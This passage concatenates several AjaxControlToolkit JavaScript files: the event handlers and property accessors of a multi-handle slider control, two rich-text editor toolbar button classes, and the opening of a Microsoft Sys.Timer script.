        } else {
            var prevValue = parseFloat(multiHandleSliderTarget.value);
            newValue = decrement ? prevValue - parseFloat(this._increment) : prevValue + parseFloat(this._increment);
        }

        multiHandleSliderTarget.value = newValue;
        this._setValueFromMultiHandleSliderTarget(multiHandleSliderTarget);
        return multiHandleSliderTarget.value == newValue;
    },
    
    _startDragDrop: function(handle) {
        /// <summary>
        /// Begins a drag and drop operation on the specified handle. Drag operations
        /// affect the hidden drag handle on the element, not the element itself.
        /// </summary>
        /// <param name="handle" type="Sys.UI.DomElement" domElement="true">The handle element under drag</param>
        /// <returns></returns>
        
        this._resetDragHandle(handle);
        this._handleUnderDrag = handle;

        AjaxControlToolkit.DragDrop.startDragDrop(this, handle.DragHandle, null);
    },
    
    // Event Handlers
    
    _onAnimationEnded: function() {
        /// <summary>
        /// Called when an animation effect is complete.
        /// </summary>
        /// <returns></returns>
        
        this._initializeInnerRail();
    },
    
    _onAnimationStep: function() {
        /// <summary>
        /// Called when an animation step is reached.
        /// </summary>
        /// <returns></returns>
        
        this._initializeInnerRail();
    },
    
    _onHideDrag : function(e, p)
    {
        /// <summary>
        /// Reverses the class name used for drag effects when the callback event is raised.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The event source.</param>
        /// <param name="p" type="">The callback parameter object, containing custom style and orientation fields.</param>
        /// <returns></returns>
        
        this.className = p.custom && p.custom.length > 0 ? p.custom: p.vertical ? 'handle_vertical': 'handle_horizontal';
    },
    
    _onHideHover : function(e, p)
    {
         /// <summary>
        /// Reverses the class name used for hover effects when the callback event is raised.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">The event source.</param>
        /// <param name="p" type="">The callback parameter object, containing custom style and orientation fields.</param>
        /// <returns></returns>
        
        this.className = p.custom && p.custom.length > 0 ? p.custom: p.vertical ? 'ajax__multi_slider_default handle_vertical': 'ajax__multi_slider_default handle_horizontal';        
    },
    
    _onInnerRailClick: function(e) {
        /// <summary>
        /// Handler for the inner rail's click event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        if (this._enableRailClick) {
            var target = e.target;

            if (target === this._inner && !this._blockInnerClick) {
                this._animationPending = true;
                this._onInnerRailClicked(e);
            } else {
                this._blockInnerClick = false;
            }
        }
    },

    _onInnerRailClicked: function(e) {
        /// <summary>
        /// Called when the inner rail's click event is handled.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        var offset = this._calculateInnerRailOffset(e);
        this._calculateClick(offset);
    },
    
    _onKeyDown: function(e) {
        /// <summary>
        /// Handler for the outer rail's keydown event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns type="Boolean">Whether the operation was successful.</returns>
        
        if (this._enableKeyboard) {        
            var evt = new Sys.UI.DomEvent(e),
                handled = false;
            
            switch (evt.keyCode || evt.rawEvent.keyCode) {
            case Sys.UI.Key.up:
            case Sys.UI.Key.left:
                if (!handled) {
                    this._handleSlide(true);
                    evt.preventDefault();
                    handled = true;
                }
                return false;
            case Sys.UI.Key.down:
            case Sys.UI.Key.right:
                if (!handled) {
                    this._handleSlide(false);
                    evt.preventDefault();
                    handled = true;
                }
                return false;
            default:
                return false;
            }
        }
    },
    
    _onMouseOver: function(e) {
        /// <summary>
        /// Handler for the outer rail's mouseover event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        this._outer.focus();
    },

    _onMouseWheel: function(e) {
        /// <summary>
        /// Handler for the outer rail's mouse wheel event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns type="Boolean">Whether the operation was successful.</returns>
        
        var delta = 0;
        if (e.wheelDelta) {
            delta = e.wheelDelta / 120;
            if (Sys.Browser.agent === Sys.Browser.Opera) {
                delta = -delta;
            }
        } else if (e.detail) {
            delta = -e.detail / 3;
        }

        if (delta) {
            this._handleSlide(delta <= 0);
        }

        if (e.preventDefault) {
            e.preventDefault();
        }
        return false;
    },

    _onMouseUp: function(e) {
        /// <summary>
        /// Handler for the outer rail's mouseup event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        window._event = e;
        e.preventDefault();

        this._cancelDrag();
    },

    _onMouseOut: function(e) {
        /// <summary>
        /// Handler for the outer rail's mouseout event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        window._event = e;
        e.preventDefault();

        this._outer.blur();
        if (this._handleUnderDrag) {
            this._cancelDrag();
        }
    },

    _onMouseOutInner: function(e) {
        /// <summary>
        /// Handler for the inner rail's mouseout event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        window._event = e;
        e.preventDefault();

        this._inner.blur();
        if (this._innerDrag) {
            this._cancelDrag();
        }
    },

    _onMouseDown: function(e) {
        /// <summary>
        /// Handler for the outer rail's mousedown event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        window._event = e;
        e.preventDefault();

        if (!AjaxControlToolkit.MultiHandleSliderBehavior.DropPending) {
            AjaxControlToolkit.MultiHandleSliderBehavior.DropPending = this;

            $addHandler(document, 'selectstart', this._selectStartHandler);
            this._selectStartPending = true;

            var handle = e.target;
            this._startDragDrop(handle);
        }
    },

    _onMouseDownInner: function(e) {
        /// <summary>
        /// Handler for the inner rail's mousedown event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        window._event = e;
        e.preventDefault();

        if (this._enableInnerRangeDrag) {
            if (!this._innerDragFlag) {
                this._innerDragFlag = true;
            }
        }
    },

    _onMouseUpInner: function(e) {
        /// <summary>
        /// Handler for the inner rail's mouseup event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        if (this._enableInnerRangeDrag) {
            this._innerDragFlag = false;
        }
    },

    _onMouseMoveInner: function(e) {
        /// <summary>
        /// Handler for the inner rail's mousemove event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        window._event = e;
        e.preventDefault();

        if (this._enableInnerRangeDrag) {
            if (!this._innerDrag && this._innerDragFlag) {
                this._innerDragFlag = false;
                
                // Begin drag and drop operation for the inner rail
                if (!AjaxControlToolkit.MultiHandleSliderBehavior.DropPending) {
                    AjaxControlToolkit.MultiHandleSliderBehavior.DropPending = this;

                    $addHandler(document, 'selectstart', this._selectStartHandler);
                    this._selectStartPending = true;

                    // Dragging inner handles
                    this._innerDrag = true;

                    // Get nearest primary handle
                    var offset = this._calculateInnerRailOffset(e);
                    var handle = this._calculateClosestHandle(offset);

                    // Start drag
                    this._startDragDrop(handle);
                }
            }
        }
    },
    
    _onMultiHandleSliderTargetChange : function(e) {
        /// <summary>
        /// Handler for when a slider value changes programmatically.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        this._animationPending = true;
        var multiHandleSliderTarget = e.target;
        this._setValueFromMultiHandleSliderTarget(multiHandleSliderTarget);
        this._initializeInnerRail();
        
        e.preventDefault();
    },

    _onMultiHandleSliderTargetKeyPressed: function(e) {
        /// <summary>
        /// Handler for a slider focused key press event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        var evt = new Sys.UI.DomEvent(e);
        if (evt.charCode === 13) {
            this._animationPending = true;
            var multiHandleSliderTarget = evt.target;
            this._setValueFromMultiHandleSliderTarget(multiHandleSliderTarget);
            this._initializeInnerRail();
            evt.preventDefault();
        }
    },
    
    _onOuterRailClick: function(e) {
        /// <summary>
        /// Handler for the outer rail's click event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info</param>
        /// <returns></returns>
        
        if (this._enableRailClick) {
            var target = e.target;

            if (target === this._outer) {
                this._animationPending = true;
                this._onOuterRailClicked(e);
            }
        }
    },

    _onOuterRailClicked: function(e) {
        /// <summary>
        /// Called when the outer rail's click event is handled.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        var offset = this._isVertical ? e.offsetY: e.offsetX;
        this._calculateClick(offset);
    },
    
    _onShowDrag : function(e, p)
    {
        /// <summary>
        /// Sets the class name used for drag effects when the callback event is raised.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent" >The event source.</param>
        /// <param name="p" type="">The callback parameter object, containing custom style and orientation fields.</param>
        /// <returns></returns>
        
        this.className = p.custom && p.custom.length > 0 ? p.custom: p.vertical ? 'ajax__multi_slider_default handle_vertical_down': 'ajax__multi_slider_default handle_horizontal_down';
    },
    
    _onShowHover : function(e, p)
    {
        /// <summary>
        /// Sets the class name used for hover effects when the callback event is raised.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent" >The event source.</param>
        /// <param name="p" type="">The callback parameter object, containing custom style and orientation fields.</param>
        /// <returns></returns>
        
        this.className = p.custom && p.custom.length > 0 ? p.custom: p.vertical ? 'ajax__multi_slider_default handle_vertical_hover': 'ajax__multi_slider_default handle_horizontal_hover';        
    },
    
    // IDragSource Implementation
    
    get_dragDataType: function() {
        /// <summary>
        /// Implementation of  <see cref="IDragSource" />.
        /// </summary>
        /// <returns type="String">The drag data type.</returns>
        
        return 'HTML';
    },

    getDragData: function() {
        /// <summary>
        /// Implementation of <see cref="IDragSource" />.
        /// </summary>
        /// <returns type="Sys.UI.DomElement" domElement="true">The drag source.</returns>
        
        return this._handleUnderDrag;
    },

    get_dragMode: function() {
        /// <summary>
        /// Implementation of <see cref="IDragSource" />.
        /// </summary>
        /// <returns type="AjaxControlToolkit.DragMode">The drag mode.</returns>
        
        return AjaxControlToolkit.DragMode.Move;
    },

    onDragStart: function() {
        /// <summary>
        /// Implementation of <see cref="IDragSource" />.
        /// </summary>
        /// <returns></returns>
        
        this._resetDragHandle(this._handleUnderDrag);
        this._raiseEvent('dragStart');
    },

    onDrag: function() {
        /// <summary>
        /// Implementation of <see cref="IDragSource" />.
        /// </summary>
        /// <returns></returns>
        
        var dragHandleBounds = this._getBoundsInternal(this._handleUnderDrag.DragHandle),
            handleBounds = this._getBoundsInternal(this._handleUnderDrag),
            railBounds = this._getOuterBounds(),
            handlePosition;
            
        if (this._isVertical) {
            handlePosition = {
                y: dragHandleBounds.x - railBounds.x,
                x: 0
            };
        } else {
            handlePosition = {
                x: dragHandleBounds.x - railBounds.x,
                y: 0
            };
        }

        $common.setLocation(this._handleUnderDrag, handlePosition);

        this._calculateMultiHandleSliderTargetValue(null, null, true);
        
        if (this._steps > 1) {
            this._setHandlePosition(this._handleUnderDrag, false);
        }
        this._raiseEvent('drag');
    },

    onDragEnd: function() {
        /// <summary>
        /// Implementation of <see cref="IDragSource" />.
        /// </summary>
        /// <returns></returns>
        
        this._initializeInnerRail();
        if (this._raiseChangeOnlyOnMouseUp) {
            $common.tryFireEvent(this.get_element(), "change");
        }
        this._innerDrag = false;
        this._handleUnderDrag = null;
        this._raiseEvent('dragEnd');
    },

    // IDropTarget Implementation
    
    get_dropTargetElement: function() {
        /// <summary>
        /// Implementation of <see cref="IDropTarget" />
        /// </summary>
        /// <returns type="Sys.UI.DomElement" domElement="true">The drop target element.</returns>
        
        return document.forms[0];
    },

    canDrop: function(dragMode, dataType) {
        /// <summary>
        /// Implementation of <see cref="IDropTarget" />.
        /// </summary>
        /// <param name="dragMode" type="AjaxControlToolkit.DragMode">The drag mode.</param>
        /// <param name="dataType" type="String">The data type.</param>
        /// <return type="Boolean">Whether the drop target is draggable.</return>
        
        return dataType == 'HTML';
    },

    // Not implemented
    drop: Function.emptyMethod,    
    onDragEnterTarget: Function.emptyMethod,
    onDragLeaveTarget: Function.emptyMethod,
    onDragInTarget: Function.emptyMethod,
    
    _IEDragDropHandler: function(e) {
        /// <summary>
        /// Handler for drag and drop in IE
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        e.preventDefault();
    },

    _onSelectStart: function(e) {
        /// <summary>
        /// Handler for when the parent element is selected.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">Event info.</param>
        /// <returns></returns>
        
        e.preventDefault();
        return false;
    },

    // Helper Methods
    
    _getOuterBounds: function() {
        /// <summary>
        /// Gets the outer bounds.
        /// </summary>
        /// <returns type="Bounds">The boundary definition of outer rail.</returns>
        
        return this._getBoundsInternal(this._outer);
    },

    _getInnerBounds: function() {
        /// <summary>
        /// Gets the inner bounds.
        /// </summary>
        /// <returns type="Bounds">The boundary definition of the inner rail.</returns>
        
        return this._getBoundsInternal(this._inner);
    },

    _getBoundsInternal: function(element) {
        /// <summary>
        /// Gets the bounds of a given DOM element.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">The element.</param>
        /// <returns type="Bounds">The boundary definition for the element.</returns>
        
        var bounds = $common.getBounds(element);
        if (this._isVertical) {
            bounds = {
                x: bounds.y,
                y: bounds.x,
                height: bounds.width,
                width: bounds.height,
                right: bounds.right,
                left: bounds.left,
                bottom: bounds.bottom,
                location: {
                    x: bounds.y,
                    y: bounds.x
                },
                size: {
                    width: bounds.height,
                    height: bounds.width
                }
            };
        } else {
            bounds = {
                x: bounds.x,
                y: bounds.y,
                height: bounds.height,
                width: bounds.width,
                right: bounds.right,
                left: bounds.left,
                bottom: bounds.bottom,
                location: {
                    x: bounds.x,
                    y: bounds.y
                },
                size: {
                    width: bounds.width,
                    height: bounds.height
                }
            };
        }
        return bounds;
    },

    _raiseEvent: function(eventName, eventArgs) {
        /// <summary>
        /// Raises an event.
        /// </summary>
        /// <param name="eventName" type="String">The event name.</param>
        /// <param name="eventArgs" type="Sys.EventArgs">The event arguments.</param>
        /// <returns></returns>
        
        var handler = this.get_events().getHandler(eventName);
        if (handler) {
            if (!eventArgs) {
                eventArgs = Sys.EventArgs.Empty;
            }
            handler(this, eventArgs);
        }
    },

    // Backwards-compatible Property Accessors
    
    get_Value : function() {
        /// <summary>
        /// Gets the value of a single bound control for backwards compatibility
        /// of existing slider and tests. Only to be used in this context.
        /// </summary>
        /// <returns type="Number">The value of the single handle.</returns>
        
        var bound = $get(this._boundControlID);
        return bound.value ? bound.value : 0;
    },
    set_Value : function(value) {
        /// <summary>
        /// Sets the value of a single bound control for backwards compatibility
        /// of existing slider and tests. Only to be used in this context.
        /// </summary>
        /// <param name="value" type="Number">The new value of the single handle slider.</param>
        /// <returns></returns>
        
        var multiHandleSliderTarget = $get(this._multiHandleSliderTargets[0].ControlID);
        
        this.beginUpdate();
        this._setMultiHandleSliderTargetValue(multiHandleSliderTarget, this._getNearestStepValue(value));
        this.endUpdate();
        
        // Raise an event after a hard set to enforce any constraints after the fact
        $common.tryFireEvent(multiHandleSliderTarget, "change");
    },
    
    // Property Accessors
    
    get_minimum: function() {
        /// <value type="Int32">
        /// The lowest value on the slider.
        /// </value>
        
        return this._minimum;
    },
    set_minimum: function(value) {
        /// <value type="Int32">
        /// The lowest value on the slider.
        /// </value>
        
        if (value !== this._minimum) {
            this._minimum = value;
            this.raisePropertyChanged('minimum');
        }
    },

    get_maximum: function() {
        /// <value type="Int32">
        /// The highest value on the slider.
        /// </value>
        
        return this._maximum;
    },
    set_maximum: function(value) {
        /// <value type="Int32">
        /// The highest value on the slider.
        /// </value>
        
        if (value !== this._maximum) {
            this._maximum = value;
            this.raisePropertyChanged('maximum');
        }
    },

    get_length: function() {
        /// <value type="Int32">
        /// The length of the slider rail in pixels.
        /// </value>
        
        return this._length;
    },
    set_length: function(value) {
        /// <value type="Int32">
        /// The length of the slider rail in pixels.
        /// </value>
        
        if (value !== this._length) {
            this._length = value;
            this.raisePropertyChanged('length');
        }
    },

    get_steps: function() {
        /// <value type="Int32">
        /// Determines number of discrete locations on the slider; otherwise, the slider is continous.
        /// </value>
        
        return this._steps;
    },
    set_steps: function(value) {
        /// <value type="Int32">
        /// Determines number of discrete locations on the slider; otherwise, the slider is continous.
        /// </value>
        
        var oldValue = this._steps;
        this._steps = Math.abs(value);
        this._steps = (this._steps === 1) ? 2: this._steps;
        if (oldValue !== this._steps) {
            this.raisePropertyChanged('steps');
        }
    },

    get_orientation: function() {
        /// <value type="Boolean">
        /// Determines if the slider's orientation is horizontal or vertical.
        /// </value>
        
        return this._isVertical;
    },
    set_orientation: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider's orientation is horizontal or vertical.
        /// </value>
        
        if (value !== this._isVertical) {
            this._orientation = value;
            this.raisePropertyChanged('orientation');
        }
    },

    get_enableHandleAnimation: function() {
        /// <value type="Boolean">
        /// Determines if the slider handles display an animation effect when changing position.
        /// </value>
        
        return this._enableHandleAnimation;
    },
    set_enableHandleAnimation: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider handles display an animation effect when changing position.
        /// </value>
        
        if (value !== this._enableHandleAnimation) {
            this._enableHandleAnimation = value;
            this.raisePropertyChanged('enableHandleAnimation');
        }
    },

    get_handleAnimationDuration: function() {
        /// <value type="Int32">
        /// Determines the total duration of the animation effect, in seconds.
        /// </value>
        
        return this._handleAnimationDuration;
    },
    set_handleAnimationDuration: function(value) {
        /// <value type="Int32">
        /// Determines the total duration of the animation effect, in seconds.
        /// </value>
        
        if (value !== this._handleAnimationDuration) {
            this._handleAnimationDuration = value;
            this.raisePropertyChanged('handleAnimationDuration');
        }
    },

    get_raiseChangeOnlyOnMouseUp: function() {
        /// <value type="Boolean">
        /// Determines if changes to the slider's values are raised as an event when dragging; otherwise, they are raised on drag end.
        /// </value>
        
        return this._raiseChangeOnlyOnMouseUp;
    },
    set_raiseChangeOnlyOnMouseUp: function(value) {
        /// <value type="Boolean">
        /// Determines if changes to the slider's values are raised as an event when dragging; otherwise, they are raised on drag end.
        /// </value>
        
        if (value !== this._raiseChangeOnlyOnMouseUp) {
            this._raiseChangeOnlyOnMouseUp = value;
            this.raisePropertyChanged('raiseChangeOnlyOnMouseUp');
        }
    },

    get_showInnerRail: function() {
        /// <value type="Boolean">
        /// Determines if the slider will show an inner selected range rail; otherwise, it will display as a uniform rail.
        /// </value>
        
        return this._showInnerRail;
    },
    set_showInnerRail: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider will show an inner selected range rail; otherwise, it will display as a uniform rail.
        /// </value>
        
        if (value !== this._showInnerRail) {
            this._showInnerRail = value;
            this.raisePropertyChanged('showInnerRail');
        }
    },

    get_showHandleHoverStyle: function() {
        /// <value type="Boolean">
        /// Determines if the slider handles will show a style effect when they are hovered over.
        /// </value>
        
        return this._showHoverStyle;
    },
    set_showHandleHoverStyle: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider handles will show a style effect when they are hovered over.
        /// </value>
        
        if (value !== this._showHoverStyle) {
            this._showHoverStyle = value;
            this.raisePropertyChanged('showHoverStyle');
        }
    },

    get_showHandleDragStyle: function() {
        /// <value type="Boolean">
        /// Determines if the slider handles will show a style effect when they are being dragged.
        /// </value>
        
        return this._showDragStyle;
    },
    set_showHandleDragStyle: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider handles will show a style effect when they are being dragged.
        /// </value>
        
        if (value !== this._showDragStyle) {
            this._showDragStyle = value;
            this.raisePropertyChanged('showDragStyle');
        }
    },

    get_innerRailStyle: function() {
        /// <value type="AjaxControlToolkit.MultiHandleInnerRailStyle">
        /// Determines how the inner rail style is handled.
        /// </value>
        
        return this._innerRailStyle;
    },
    set_innerRailStyle: function(value) {
        /// <value type="AjaxControlToolkit.MultiHandleInnerRailStyle">
        /// Determines how the inner rail style is handled.
        /// </value>
        
        if (value !== this._innerRailStyle) {
            this._innerRailStyle = value;
            this.raisePropertyChanged('innerRailStyle');
        }
    },

    get_enableInnerRangeDrag: function() {
        /// <value type="Boolean">
        /// Determines if the inner rail range can be dragged as a whole, moving both handles defining it.
        /// </value>
        
        return this._enableInnerRangeDrag;
    },
    set_enableInnerRangeDrag: function(value) {
        /// <value type="Boolean">
        /// Determines if the inner rail range can be dragged as a whole, moving both handles defining it.
        /// </value>
        
        if (value !== this._enableInnerRangeDrag) {
            this._enableInnerRangeDrag = value;
            this.raisePropertyChanged('allowInnerRangeDrag');
        }
    },

    get_enableRailClick: function() {
        /// <value type="Boolean">
        /// Determines if clicking on the rail will detect and move the closest handle.
        /// </value>
        
        return this._enableRailClick;
    },
    set_enableRailClick: function(value) {
        /// <value type="Boolean">
        /// Determines if clicking on the rail will detect and move the closest handle.
        /// </value>
        
        if (value !== this._enableRailClick) {
            this._enableRailClick = value;
            this.raisePropertyChanged('allowRailClick');
        }
    },

    get_isReadOnly: function() {
        /// <value type="Boolean">
        /// Determines if the slider and its values can be manipulated.
        /// </value>
        
        return this._isReadOnly;
    },
    set_isReadOnly: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider and its values can be manipulated.
        /// </value>
        if (value !== this._isReadOnly) {
            this._isReadOnly = value;
            this.raisePropertyChanged('isReadOnly');
        }
    },

    get_enableKeyboard: function() {
        /// <value type="Boolean">
        /// Determines if the slider will respond to arrow keys when it has focus.
        /// </value>
        
        return this._enableKeyboard;
    },
    set_enableKeyboard: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider will respond to arrow keys when it has focus.
        /// </value>
        
        if (value !== this._enableKeyboard) {
            this._enableKeyboard = value;
            this.raisePropertyChanged('enableKeyboard');
        }
    },

    get_enableMouseWheel: function() {
        /// <value type="Boolean">
        /// Determines if the slider will respond to the mouse wheel when it has focus.
        /// </value>
        
        return this._enableMouseWheel;
    },
    set_enableMouseWheel: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider will respond to the mouse wheel when it has focus.
        /// </value>
        
        if (value !== this._enableMouseWheel) {
            this._enableMouseWheel = value;
            this.raisePropertyChanged('enableMouseWheel');
        }
    },

    get_increment: function() {
        /// <value type="Int32">
        /// Determines the number of points to increment or decrement the slider using the keyboard or mousewheel; ignored if steps is used.
        /// </value>
        
        return this._increment;
    },
    set_increment: function(value) {
        /// <value type="Int32">
        /// Determines the number of points to increment or decrement the slider using the keyboard or mousewheel; ignored if steps is used.
        /// </value>
        
        if (value !== this._increment) {
            this._increment = value;
            this.raisePropertyChanged('increment');
        }
    },

    get_tooltipText: function() {
        /// <value type="String">
        /// Determines the text to display as the tooltip; {0} denotes the current handle's value in the format string.
        /// </value>
        
        return this._tooltipText;
    },
    set_tooltipText: function(value) {
        /// <value type="String">
        /// Determines the text to display as the tooltip; {0} denotes the current handle's value in the format string.
        /// </value>
        
        if (value !== this._tooltipText) {
            this._tooltipText = value;
            this.raisePropertyChanged('tooltipText');
        }
    },

    get_multiHandleSliderTargets: function() {
        /// <value type="List<AjaxControlToolkit.MultiHandleSliderTarget">>
        /// The list of controls used to bind slider handle values. These should be Label or TextBox controls.
        /// </value>
        
        return this._multiHandleSliderTargets;
    },
    set_multiHandleSliderTargets: function(value) {
        /// <value type="List<AjaxControlToolkit.MultiHandleSliderTarget>">
        /// The list of controls used to bind slider handle values. These should be Label or TextBox controls.
        /// </value>
        
        if (value !== this._multiHandleSliderTargets) {
            this._multiHandleSliderTargets = value;
            this.raisePropertyChanged('multiHandleSliderTargets');
        }
    },

    get_cssClass: function() {
        /// <value type="String">
        /// Gets or sets the CSS class of a single handle.
        /// </value>
        
        return this._cssClass;
    },
    set_cssClass: function(value) {
        /// <value type="String">
        /// Gets or sets the CSS class of a single handle.
        /// </value>
        
        if (value !== this._cssClass) {
            this._cssClass = value;
            this.raisePropertyChanged('cssClass');
        }
    },

    get_boundControlID: function() {
        /// <value type="String">
        /// Gets or sets the ID of a control to use for a single handle.
        /// </value>
        
        return this._boundControlID;
    },
    set_boundControlID: function(value) {
        /// <value type="String">
        /// Gets or sets the ID of a control to use for a single handle.
        /// </value>
        
        this._boundControlID = value;
        if (this._boundControlID) {
            this._boundControl = $get(this._boundControlID);
        } else {
            this._boundControl = null;
        }
    },

    get_handleCssClass: function() {
        /// <value type="String">
        /// Gets or sets the CSS class of a single handle.
        /// </value>
        
        return this._handleCssClass;
    },
    set_handleCssClass: function(value) {
        /// <value type="String">
        /// Gets or sets the CSS class of a single handle.
        /// </value>
        
        this._handleCssClass = value;
    },
    
    get_handleImageUrl: function() {
        /// <value type="String">
        /// Gets or sets the URL for the image to display in the slider's handle.
        /// </value>
        
        return this._handleImageUrl;
    },
    set_handleImageUrl: function(value) {
        /// <value type="String">
        /// Gets or sets the URL for the image to display in the slider's handle.
        /// </value>
        
        this._handleImageUrl = value;
    },
    
    get_railCssClass: function() {
        /// <value type="String">
        /// Gets or sets the CSS class of a single handled slider's outer rail.
        /// </value>
        
        return this._railCssClass;
    },
    set_railCssClass: function(value) {
        /// <value type="String">
        /// Gets or sets the CSS class of a single handled slider's outer rail.
        /// </value>
        
        this._railCssClass = value;
    },
    
    get_decimals: function() {
        /// <value type="Int32">
        /// Get/Set the number of decimal digits in a single slider's value.
        /// A value of 0 means an integer value.
        /// </value>
        
        return this._decimals;
    },
    set_decimals: function(value) {
        /// <value type="Int32">
        /// Get/Set the number of decimal digits in a single slider's value.
        /// A value of 0 means an integer value.
        /// </value>
        
        this._decimals = value;
    },

    // Event Accessors
    
    add_load: function(handler) {
        /// <summary>
        /// Add an event handler to the load event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().addHandler('load', handler);
    },
    remove_load: function(handler) {
        /// <summary>
        /// Remove an event handler from the load event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().removeHandler('load', handler);
    },

    add_dragStart: function(handler) {
        /// <summary>
        /// Add an event handler to the dragStart event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().addHandler('dragStart', handler);
    },
    remove_dragStart: function(handler) {
        /// <summary>
        /// Remove an event handler from the dragStart event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().removeHandler('dragStart', handler);
    },

    add_drag: function(handler) {
        /// <summary>
        /// Add an event handler to the drag event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().addHandler('drag', handler);
    },
    remove_drag: function(handler) {
        /// <summary>
        /// Remove an event handler from the drag event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().removeHandler('drag', handler);
    },

    add_dragEnd: function(handler) {
        /// <summary>
        /// Add an event handler to the dragEnd event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().addHandler('dragEnd', handler);
    },
    remove_dragEnd: function(handler) {
        /// <summary>
        /// Remove an event handler from the dragEnd event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().removeHandler('dragEnd', handler);
    },

    add_valueChanged: function(handler) {
        /// <summary>
        /// Add an event handler to the valueChanged event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().addHandler('valueChanged', handler);
    },
    remove_valueChanged: function(handler) {
        /// <summary>
        /// Remove an event handler from the valueChanged event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">Event handler.</param>
        /// <returns />
        
        this.get_events().removeHandler('valueChanged', handler);
    }
}

AjaxControlToolkit.MultiHandleSliderBehavior.DropPending = null;
AjaxControlToolkit.MultiHandleSliderBehavior.registerClass('AjaxControlToolkit.MultiHandleSliderBehavior', AjaxControlToolkit.BehaviorBase);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.prototype = {
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._textAlignState("");
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("Paragraph");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Paragraph", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor.prototype = {
    setColor : function(color) {
        this._designPanel._execCommand("forecolor", false, color);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor", AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton);

\// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />


///////////////////////////////////////////////////////////////////////////////
// Sys.Timer

Sys.Timer = function() {
